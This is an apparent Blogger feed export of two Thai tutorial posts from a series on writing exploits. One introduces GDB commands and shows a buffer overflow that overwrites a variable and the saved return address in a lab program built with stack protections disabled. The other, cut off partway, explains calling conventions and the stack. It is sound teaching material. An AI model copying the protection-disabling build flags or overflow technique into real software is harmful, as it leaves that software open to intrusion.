โดยปกติ programmer จะใช้สำหรับช่วยในการแก้ bug ด้วยการดูค่าของตัวแปรต่างๆ ที่บรรทัดต่างๆ ของ code แต่ในมุมมองของ hacker ตัว debugger นั้น ช่วยให้เข้าใจโปรแกรม และช่องโหว่ของโปรแกรม และเราจะได้ใช้ gdb ไปตลอด tutorial นี้ โดยหัวข้อนี้ ผมตั้งใจให้คนที่ไม่เคยใช้ gdb ได้เห็นคำสั่งต่างๆ และได้ลองนิดหน่อย (ไม่ต้องให้คล่องนะครับ ต้องได้ใช้อีกเยอะ เดี๋ยวก็จำได้เอง)&lt;/p&gt;&lt;p&gt;ก่อนจะเริ่ม debug ก็ต้องสั่ง gdb แล้วเราจะเข้าไปในอยู่ใน gdb แล้วสั่งคำสั่งเพื่อตรวจสอบ process ได้ โดย gdb มีรูปแบบของ parameter ที่สำคัญตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# debug โปรแกรม prog&lt;br /&gt;$ gdb ./prog&lt;br /&gt;# ตรวจสอบ core dump file (มีหลายรูปแบบ)&lt;br /&gt;$ gdb ./prog core&lt;br /&gt;$ gdb -c core ./prog&lt;br /&gt;$ gdb -c core&lt;br /&gt;# ส่งโปรแกรม prog arguments เข้าไปด้วย (มีหลายรูปแบบ)&lt;br /&gt;$ gdb --args ./prog arg1 arg2&lt;br /&gt;# attach เข้าไปใน process ที่ run อยู่ (สมมติว่า pid คือ 1234) (มีหลายรูปแบบ)&lt;br /&gt;$ gdb ./prog 1234&lt;br /&gt;$ gdb -p 1234&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ส่วน parameter อื่นๆ ให้หาอ่านเองนะครับ ง่ายสุดก็ &lt;span class="code"&gt;man gdb&lt;/span&gt;&lt;/p&gt;&lt;p&gt;หลังจากสั่ง gdb ก็จะเจอ gdb prompt โดยมีคำสั่งต่างๆ ที่ใช้บ่อยๆ สำหรับการเขียน exploit ตามนี้ (ADDR ในตารางข้างล่าง สามารถใช้ register แทนได้เช่น $eax, $esp)&lt;/p&gt;&lt;table class="tbInfo" style="width:700px"&gt;&lt;thead&gt;&lt;tr&gt;&lt;th width="160px"&gt;คำสั่งเต็ม&lt;/th&gt;&lt;th with="90px"&gt;คำสั่งย่อ&lt;/th&gt;&lt;th&gt;คำอธิบาย&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;run&lt;/td&gt;&lt;td&gt;r&lt;/td&gt;&lt;td&gt;เริ่มโปรแกรม&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;kill&lt;/td&gt;&lt;td&gt;k&lt;/td&gt;&lt;td&gt;หยุดโปรแกรม&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;quit&lt;/td&gt;&lt;td&gt;q&lt;/td&gt;&lt;td&gt;ออกจาก GDB&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;continue&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;td&gt;ทำงานต่อโดยหยุดที่ breakpoint ถัดไป&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;disassemble&lt;/td&gt;&lt;td&gt;disas&lt;/td&gt;&lt;td&gt;แสดง assembly code ของ function ที่ EIP อยู่&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;disassemble ADDR&lt;/td&gt;&lt;td&gt;disas ADDR&lt;/td&gt;&lt;td&gt;แสดง assembly code ที่ address ADDR (ใช้ชื่อ function ได้)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;disassemble ADDR1 ADDR2&lt;/td&gt;&lt;td&gt;disas ADDR1 ADDR2&lt;/td&gt;&lt;td&gt;แสดง assembly code ที่ address ADDR1 ถึง ADDR2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;info breakpoints&lt;/td&gt;&lt;td&gt;i b&lt;/td&gt;&lt;td&gt;แสดง breakpoint ทั้งหมด&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;info registers&lt;/td&gt;&lt;td&gt;i r&lt;/td&gt;&lt;td&gt;แสดงค่าของ CPU registers ทั้งหมด&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;info frame&lt;/td&gt;&lt;td&gt;i f&lt;/td&gt;&lt;td&gt;แสดงข้อมูลเกี่ยวกับ stack frame ปัจจุบัน&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;backtrace&lt;/td&gt;&lt;td&gt;bt&lt;/td&gt;&lt;td&gt;แสดง call stack&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;break *ADDR&lt;/td&gt;&lt;td&gt;b *ADDR&lt;/td&gt;&lt;td&gt;set breakpoint ที่ address ADDR (ถ้าใช้ชื่อ function ไม่ต้องมี *)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;enable [NUM]&lt;/td&gt;&lt;td&gt;en [NUM]&lt;/td&gt;&lt;td&gt;enable breakpoint หมายเลขที่ NUM&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;disable [NUM]&lt;/td&gt;&lt;td&gt;dis [NUM]&lt;/td&gt;&lt;td&gt;disable breakpoint หมายเลขที่ NUM&lt;/td&gt;&lt;tr&gt;&lt;td&gt;delete [NUM]&lt;/td&gt;&lt;td&gt;d [NUM]&lt;/td&gt;&lt;td&gt;delete breakpoint หมายเลขที่ NUM&lt;/td&gt;&lt;tr&gt;&lt;td&gt;delete&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;delete breakpoint ทั้งหมด&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;nexti [num]&lt;/td&gt;&lt;td&gt;ni [num]&lt;/td&gt;&lt;td&gt;ทำงานคำสั่งถัดไป ไม่เข้าไปใน call&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;stepi [num]&lt;/td&gt;&lt;td&gt;si [num]&lt;/td&gt;&lt;td&gt;ทำงานคำสั่งถัดไป เข้าไปใน call&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;x/NFU ADDR&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;แสดงค่าของ address ADDR โดย&lt;br/&gt;N คือจำนวนที่จะแสดงผล&lt;br/&gt;F คือรูปแบบที่จะแสดงผล (ดูตารางถัดไป)&lt;br/&gt;U คือจำนวน byte มี b (byte), h (2 bytes), w (4 bytes)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;display/F ADDR&lt;/td&gt;&lt;td&gt;disp/F ADDR&lt;/td&gt;&lt;td&gt;แสดงค่าของ address ADDR ทุกครั้งที่ถึงหยุดทำงานชั่วคราว&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;display&lt;/td&gt;&lt;td&gt;disp&lt;/td&gt;&lt;td&gt;แสดงค่าที่อยู่ใน display list ทั้งหมด&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;undisplay [NUM]&lt;/td&gt;&lt;td&gt;und [NUM]&lt;/td&gt;&lt;td&gt;ลบ display ที่เก็บไว้ที่ NUM&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;set ADDR=VAL&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;set ค่า VAL ไปที่ address ADDR&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;ต่อไปก็รูปแบบการแสดงผล (ค่า F จากตารางข้างบน) จะเหมือน C เกือบหมด&lt;/p&gt;&lt;table class="tbInfo" style="width:400px"&gt;&lt;thead&gt;&lt;tr&gt;&lt;th width="80px"&gt;รูปแบบ&lt;/th&gt;&lt;th&gt;คำอธิบาย&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;a&lt;/td&gt;&lt;td&gt;pointer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;c&lt;/td&gt;&lt;td&gt;character&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;signed decimal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;floating point number&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;o&lt;/td&gt;&lt;td&gt;octal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;s&lt;/td&gt;&lt;td&gt;string&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;t&lt;/td&gt;&lt;td&gt;binary&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;u&lt;/td&gt;&lt;td&gt;unsigned decimal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;x&lt;/td&gt;&lt;td&gt;hexadecimal&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;คำสั่งตั้งเยอะ ใครจะจำได้หมด ต้องลองใช้บ่อยๆ ให้มันซึมเข้าไปเองครับ โดยผมจะลองใช้คำสั่งต่างๆ กับโปรแกรมในหัวข้อ "&lt;a href="http://thtutz.blogspot.com/2010/12/assembly.html"&gt;Buffer Overflow คืออะไร&lt;/a&gt;" แต่ให้ compile ตามนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_05_1.c?attredirects=0&amp;d=1"&gt;ex_05_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_1 ex_05_1.c&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากนั้น มาลองใช้ gdb กัน (ให้ลองทำตามด้วยนะครับ อย่าเอาแต่อ่าน) โดยผมจะใส่คำอธิบายไว้หลังเครื่องหมาย # (ไม่ต้องพิมพ์นะครับ คำอธิบายนะครับ) และตามสัญญาจากหัวข้อที่แล้ว ว่าจะให้เห็นการส่งผ่าน argument อีกรูปหนึ่ง (สำหรับคนที่ไม่ชอบ AT&amp;T syntax สามารถใช้คำสั่ง &lt;span class="code"&gt;set disassembly-flavor intel&lt;/span&gt; เพื่อให้เป็น MASM syntax แต่ผมแนะนำให้ใช้ default เพื่อที่จะได้รู้หลากหลาย)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_05_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch05/ex_05_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main   # disassemble main&lt;br /&gt;   0x08048434 &amp;lt;+0&amp;gt;:     push   %ebp&lt;br /&gt;   0x08048435 &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&lt;br /&gt;   0x08048437 &amp;lt;+3&amp;gt;:     sub    $0x14,%esp  # หัวข้อที่แล้ว -0xc แต่คราวนี้ -0x14 เพิ่มมา 8 bytes ใช้สำหรับส่ง argument ให้ strcpy&lt;br /&gt;   0x0804843a &amp;lt;+6&amp;gt;:     movl   $0x0,-0x4(%ebp)&lt;br /&gt;... # ขอละไว้ มันยาว&lt;br /&gt;   0x08048455 &amp;lt;+33&amp;gt;:    mov    0xc(%ebp),%eax  # เอา argument ตัวที่ 2 (argv) ไปที่&lt;br /&gt;   0x08048458 &amp;lt;+36&amp;gt;:    add    $0x4,%eax     # eax+4 เพื่อชี้ไปที่ address ของ argv[1]&lt;br /&gt;   0x0804845b &amp;lt;+39&amp;gt;:    mov    (%eax),%eax   # เอาค่าของ argv[1] เก็บใน eax&lt;br /&gt;   0x0804845d &amp;lt;+41&amp;gt;:    mov    %eax,0x4(%esp) # เก็บไปไว้ที่ esp+4 (เป็น argument ตัวที่ 2 ของ strcpy)&lt;br /&gt;   0x08048461 &amp;lt;+45&amp;gt;:    lea    -0xc(%ebp),%eax # โหลด address ของ buf ไว้ที่ eax&lt;br /&gt;   0x08048464 &amp;lt;+48&amp;gt;:    mov    %eax,(%esp) # เก็บไปไว้ที่ esp (เป็น argument ตัวที่ 1 ของ strcpy)&lt;br /&gt;   0x08048467 &amp;lt;+51&amp;gt;:    call   0x8048344 &amp;lt;strcpy@plt&amp;gt;&lt;br /&gt;... # ขอละไว้ มันยาว&lt;br /&gt;(gdb) b main     # set breakpoint ไว้ที่ main&lt;br /&gt;Breakpoint 1 at 0x804843a    # สังเกตว่า set ที่หลัง function prologue&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/worawit/tutz/ch05/ex_05_1&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804843a in main ()&lt;br /&gt;(gdb) b *0x08048467    # set breakpoint ที่คำสั่ง call strcpy&lt;br /&gt;Breakpoint 2 at 0x8048467&lt;br /&gt;(gdb) r UUUUUUUUUUUUUUUUUUU      # run โปรแกรมอีกรอบ โดยมี argument&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;&lt;br /&gt;Starting program: /home/worawit/tutz/ch05/ex_05_1 UUUUUUUUUUUUUUUUUUU&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804843a in main ()&lt;br /&gt;(gdb) i r   # แสดง registers ทั้งหมด&lt;br /&gt;eax            0xbffff7b4       -1073743948&lt;br /&gt;ecx            0xa988bb4b       -1450656949&lt;br /&gt;edx            0x2      2&lt;br /&gt;ebx            0x293ff4 2703348&lt;br /&gt;esp            0xbffff6f4       0xbffff6f4&lt;br /&gt;ebp            0xbffff708       0xbffff708&lt;br /&gt;esi            0x0      0&lt;br /&gt;edi            0x0      0&lt;br /&gt;eip            0x804843a        0x804843a &lt;main+6&gt;&lt;br /&gt;... # ขอละไว้ มันยาว&lt;br /&gt;(gdb) c   # ทำงานต่อ หยุดที่ breakpoint ถัดไป&lt;br /&gt;Continuing.&lt;br /&gt;Before strcpy: magic is 0x00000000&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x08048467 in main ()&lt;br /&gt;(gdb) display/i $pc   # add display ให้แสดงคำสั่งที่ eip ชี้อยู่ (pc คือ program counter ใช้แทน eip ได้)&lt;br /&gt;1: x/i $pc&lt;br /&gt;=&gt; 0x8048467 &lt;main+51&gt;: call   0x8048344 &lt;strcpy@plt&gt;&lt;br /&gt;(gdb) x/8x $ebp-0xc   # แสดงค่าตั้งแต่ 0xbffff6fc (buf) ไป 8*4=32 bytes&lt;br /&gt;0xbffff6fc:     0x00293ff4      0x080484b0      0x00000000      0xbffff788&lt;br /&gt;0xbffff70c:     0x00154bd6      0x00000002      0xbffff7b4      0xbffff7c0&lt;br /&gt;(gdb) ni     # ทำงานคำสั่งถัดไป โดยไม่เข้าไปใน call&lt;br /&gt;0x0804846c in main ()&lt;br /&gt;1: x/i $pc      # คำสั่งที่อยู่ใน display list แสดงทุกครั้งที่โปรแกรมหยุด&lt;br /&gt;=&gt; 0x804846c &lt;main+56&gt;: mov    $0x8048580,%eax&lt;br /&gt;(gdb) x/8x $ebp-0xc  # แสดงค่าที่ memory ของ buf อีกครั้ง (ค่า dword ที่ 3 คือ magic)&lt;br /&gt;0xbffff6fc:     0x55555555      0x55555555      0x55555555      0x55555555&lt;br /&gt;0xbffff70c:     0x00555555      0x00000002      0xbffff7b4      0xbffff7c0&lt;br /&gt;(gdb) i f    # แสดงข้อมูล stack frame&lt;br /&gt;Stack level 0, frame at 0xbffff710:&lt;br /&gt; eip = 0x804846c in main; saved eip 0x555555&lt;br /&gt; Arglist at 0xbffff708, args:&lt;br /&gt; Locals at 0xbffff708, Previous frame s sp is 0xbffff710&lt;br /&gt; Saved registers:&lt;br /&gt;  ebp at 0xbffff708, eip at 0xbffff70c&lt;br /&gt;(gdb) x/2s $esp     # แสดงข้อมูลที่ esp ในรูปแบบ string จำนวน 2 string&lt;br /&gt;0xbffff6f4:      "\374\366\377\277\360\370\377\277", 'U' &lt;repeats 19 times&gt;&lt;br /&gt;0xbffff710:      "\002"&lt;br /&gt;(gdb)               # Enter เฉยๆ คือทำคำสั่งข้างบนซ้ำ แต่แสดงที่ address ถัดไป&lt;br /&gt;0xbffff712:      ""&lt;br /&gt;0xbffff713:      ""&lt;br /&gt;(gdb) c  # ให้โปรแกรมทำงานต่อ&lt;br /&gt;Continuing.&lt;br /&gt;After strcpy: magic is 0x55555555&lt;br /&gt;Hahaha, you WIN&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x00555555 in ?? ()&lt;br /&gt;(gdb) i r ebp eip&lt;br /&gt;ebp            0x55555555       0x55555555&lt;br /&gt;eip            0x555555 0x555555&lt;br /&gt;(gdb)  q&lt;br /&gt;A debugging session is active.&lt;br /&gt;&lt;br /&gt;        Inferior 1 [process 1857] will be killed.&lt;br /&gt;&lt;br /&gt;Quit anyway? (y or n) y&lt;br /&gt;$ &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ให้สังเกต ที่่คำสั่ง &lt;span class="code"&gt;i f&lt;/span&gt; จะเห็นว่า saved ebp อยู่ที่ 0xbffff708 และ saved eip อยู่ที่ 0xbffff70c นั้นค่าถูกทำให้เปลี่ยน หลังจากเรียก strcpy (ตัว saved eip ที่มี 00 นำหน้านั้น 00 (NULL) มาจากตัวจบของ string ใน C แต่ที่อยู่ข้างหน้า เพราะแสดงเป็น integer ถ้างงก็คิดเรื่อง endian) แสดงให้เห็นว่า ข้อมูลที่เราใส่เข้าไปนั้น นอกจากจะเขียนทับ magic แล้วยังเขียนทับข้อมูลสำคัญ ที่กำหนดว่าให้โปรแกรมทำงานต่อที่ไหนหลังจากจบ main ทำให้โปรแกรมมีการอ้างถึง memory ที่ invalid คือ eip ชี้ไปที่ 0x00555555 ทำให้เกิด segmentation fault ขึ้น&lt;/p&gt;&lt;p&gt;ส่วนวิธีการ call function ในครั้งนี้จะไม่ใช้การ push argument แล้ว call อย่างที่เห็นใน assembly ข้างบน แต่จะเป็นการจองเนื้อที่บน stack ไว้สำหรับการส่ง argument แล้วใช้วิธี mov เพื่อย้ายค่าไปเป็น argument ต่างๆ แทน&lt;/p&gt;&lt;p&gt;ก่อนจะเริ่มในหัวข้อถ้ดไป ผมอยากให้ลองเอาโปรแกรมในหัวข้อ "Function กับ Stack" โดย compile ตามนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_05_2.c?attredirects=0&amp;d=1"&gt;ex_05_2.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;แล้วให้ลอง&lt;br/&gt;1. disassemble แล้วลองอ่าน assembly ดู&lt;br/&gt;2. ลองใช้ stepi กับ nexti กับคำสั่ง call&lt;br/&gt;3. ลองใช้ &lt;span class="code"&gt;x/10s $esp&lt;/span&gt; แล้ว Enter ไปเรื่อยๆ จนหมด stack (bottom of stack) แล้วสังเกตค่าที่เป็นตัวอักษร อ่านรู้เรื่อง&lt;/p&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- &lt;a href="http://www.yolinux.com/TUTORIALS/GDB-Commands.html"&gt;GNU GDB Debugger Command Cheat Sheet&lt;/a&gt;&lt;br/&gt;- &lt;a href="http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf"&gt;GDB Cheat Sheet&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-6398961242076142135?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/6398961242076142135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/01/gdb.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6398961242076142135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/6398961242076142135'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/01/gdb.html' title='GDB เบื้องต้น'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7129542730296358907</id><published>2010-12-22T22:40:00.001+07:00</published><updated>2011-01-01T16:14:44.607+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Function กับ Stack</title><content type='html'>&lt;p&gt;หลังจากผ่านเรื่อง Assembly ที่น่าเบื่อ คราวนี้ผมจะพูดถึงการ call (เรียก) function หนึ่ง จะมีผลอย่างไรกับ memory ในส่วน stack และจะมีคำสั่ง Assembly อะไรบ้างที่เกี่ยวข้อง&lt;/p&gt;&lt;p&gt;ปกติโปรแกรมจะทำงานเป็นลำดับ โดยมี EIP ชี้ไปคำสั่งที่จะถูกประมวลผล แต่เมื่อมีการ call function หนึ่ง EIP จะกระโดดไปทำงานใน function ใหม่ และเมื่อทำงานใน function ใหม่จบแล้ว EIP จะต้องกระโดดกลับมาทำงานที่ function เดิมต่อ แล้วโปรแกรมรู้ได้อย่างไรละว่า EIP ต้องกระโดดกลับไปที่ไหน?&lt;/p&gt;&lt;p&gt;เพื่อให้ EIP ชี้ไปที่คำสั่งถัดไปหลังจากกลับมาจาก function ที่เรียก คำสั่งที่ใช้ในการ call function คือ &lt;span class="code"&gt;"call"&lt;/span&gt; (เช่น &lt;span class="code"&gt;"call printf"&lt;/span&gt;) จะทำการ &lt;span class="code"&gt;"push eip"&lt;/span&gt; ลงไปใน stack ก่อน แล้วค่อยกระโดดไปทำงานที่ function ใหม่ และที่จบ function ก็จะมีคำสั่ง "&lt;span class="code"&gt;ret&lt;/span&gt;" ซึ่งจะเท่ากับ &lt;span class="code"&gt;"pop eip"&lt;/span&gt; ทำให้โปรแกรมสามารถกลับไปทำงานตามปกติได้ เช่น สมมติว่าโปรแกรมเรา EIP ชี้ไปที่ address 0x08112200 และคำสั่งที่ &lt;span class="code"&gt;call some_fn&lt;/span&gt; ที่ address 0x08112100 และคำสั่งถัดไปคือ address 0x08112205 ผลของการ call ก็จะได้ตามรูปข้างล่าง&lt;/p&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; ไม่มีคำสั่ง Assembly ที่แก้ไขค่า หรืออ่านค่า EIP โดยตรง ที่เห็นผมเขียน &lt;span class="code"&gt;"push eip"&lt;/span&gt; และ &lt;span class="code"&gt;"pop eip"&lt;/span&gt; นั้น เพื่อใช้ในการอธิบายเท่านั้น&lt;/p&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQ94-iBG4kI/AAAAAAAAAC0/0miIKJb60K0/s1600/stack_and_function_1.gif" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="215" width="400" src="http://2.bp.blogspot.com/_4X9aA2jxLhc/TQ94-iBG4kI/AAAAAAAAAC0/0miIKJb60K0/s400/stack_and_function_1.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;แล้วถ้า function มีการส่ง arguments ละ จะเป็นอย่างไร?&lt;/p&gt;&lt;p&gt;วิธีการส่ง arguments จริงๆแล้ว แล้วแต่ compiler ว่าจะใช้ call convention (รูปแบบการเรียก)ไหน แต่ที่ใช้โดยทั่วไป arguments ของแต่ละ function นั้นจะถูก push ลงไปใน stack จาก arguments ตัวหลังสุดไล่ไปยังตัวหน้าสุด ก่อนจะมีการ call function เช่น ใน C เราเขียน &lt;span class="code"&gt;some_args(1, 2, 3)&lt;/span&gt; เราจะได้ assembly code เป็น (เพื่อเป็นการประหยัดพื้นที่ ดูรูปแีรกในห้วข้อ Stack Frame ข้างล่างนะครับ)&lt;pre class="code language-assembly"&gt;&lt;br /&gt;push $3&lt;br /&gt;push $2&lt;br /&gt;push $1&lt;br /&gt;call some_args&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; วิธีส่ง arguments ไม่จำเป็นต้อง push นะครับ แค่ทำให้เหมือนกันก็พอ ซึ่งจะได้เห็นในหัวข้อถัดไป&lt;/p&gt;&lt;p&gt;ส่วนการส่งค่ากลับของ function คนเขียนโปรแกรมคงคุ้นเคยกันอยู่แล้วว่า function ในจะส่งค่ากลับได้เพียงแค่ค่าเดียว ซึ่ง compiler โดยทั่วไปจะส่งกลับผ่านทาง register EAX โดยการ set ค่าที่ EAX แล้วค่อย &lt;span class="code"&gt;ret&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;Function Call Convention&lt;/h4&gt;ในที่นี้ ผมจะพูดถึงแค่ 3 แบบเท่านั้นนะครับ โดยทั้ง 3 แบบ arguments จะถูก push จากตัวหลังสุดไปหน้าสุด&lt;ul&gt;&lt;li&gt;&lt;b&gt;C Calling Convention (cdecl)&lt;/b&gt; - เป็นแบบที่ compiler ปัจจุบันใช้ โดย function ที่เรียกจะทำหน้าที่ clear stack เช่นการเรียก &lt;span class="code"&gt;some_args(1, 2, 3)&lt;/span&gt; จะได้ Assembly เป็น&lt;pre class="code language-assembly"&gt;&lt;br /&gt;push $3&lt;br /&gt;push $2&lt;br /&gt;push $1&lt;br /&gt;call some_args&lt;br /&gt;add $12,%esp&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Standard Convention (stdcall)&lt;/b&gt; - การเรียกแบบนี้ Microsoft คิด และใช้ใน dll ของ Microsoft เอง ถ้าใครเคยเขียนโปรแกรมโดยใช้ WIN32 API คงจะเคยเห็น &lt;span class="code"&gt;WINAPI&lt;/span&gt; หน้า function ซึ่งถ้าไล่ดูใน header file ของ WIN32 API ก็จะเห็นว่า define เป็น _stdcall การเรียกแบบนี้ต่างจากแบบแรกคือ function ที่ถูกเรียกจะทำหน้าที่ clear stack โดยใช้คำัสั่ง Assembly  &lt;span class="code"&gt;"RET n"&lt;/span&gt; เช่นการเรียก &lt;span class="code"&gt;some_args(1, 2, 3)&lt;/span&gt; จะได้ Assembly ของ function ที่เรียกคือ&lt;pre class="code language-assembly"&gt;&lt;br /&gt;push $3&lt;br /&gt;push $2&lt;br /&gt;push $1&lt;br /&gt;call some_args&lt;br /&gt;&lt;/pre&gt;และใน function ที่ถูกเรียกจะจบด้วย Assembly&lt;pre class="code language-assembly"&gt;&lt;br /&gt;ret $12&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Fastcall Convention (fastcall)&lt;/b&gt; - แบบนี้จะคล้ายแบบ "Standard Convention" ต่างกันตรงที่ argument ตัวแรกจะเก็บไว้ใน ECX และตัวที่สองเก็บไว้ใน EDX ส่วนที่เหลือ push ลง stack เหมือนเดิม การเรียกแบบนี้ ผมไม่ยกตัวอย่าง Assembly นะครับ เพราะใช้น้อยมาก เมื่อเทียบกับ 2 แบบแรก&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Note:&lt;/b&gt; หลังจากนี้ ถ้าผมพูดถึงการ call function โดยไม่บอกรูปแบบก็ถือว่าเป็น C Calling Convention&lt;/p&gt;&lt;h4&gt;Local Variables&lt;/h4&gt;&lt;p&gt;ในแต่ละ function จะมี local variables ที่ใช้ภายใน function เท่านั้น และเมื่อจบ function พวก local variables จะถูกทำลายอัตโนมัติ&lt;/p&gt;&lt;p&gt;local variables นั้น จะถูกเก็บไว้ใน stack วิธีการจองคือ compiler ทำการคำนวณขนาดของ local variables ทั้งหมด แล้วเพิ่มคำสั่งลบ ESP ไว้ที่ตอนเริ่มของ function (อย่าลืมนะครับว่า stack ใน x86 ขยายจาก High Address ไป Low Address) เช่นใน function มีการประกาศตัวแปร &lt;span class="code"&gt;"int i; char buf[16];"&lt;/span&gt; ได้ขนาด local variables เป็น 20 bytes ซึ่ง compiler จะเพิ่มคำสั่ง&lt;/p&gt;&lt;pre class="code language-assembly"&gt;&lt;br /&gt;sub $20, %esp&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;Stack 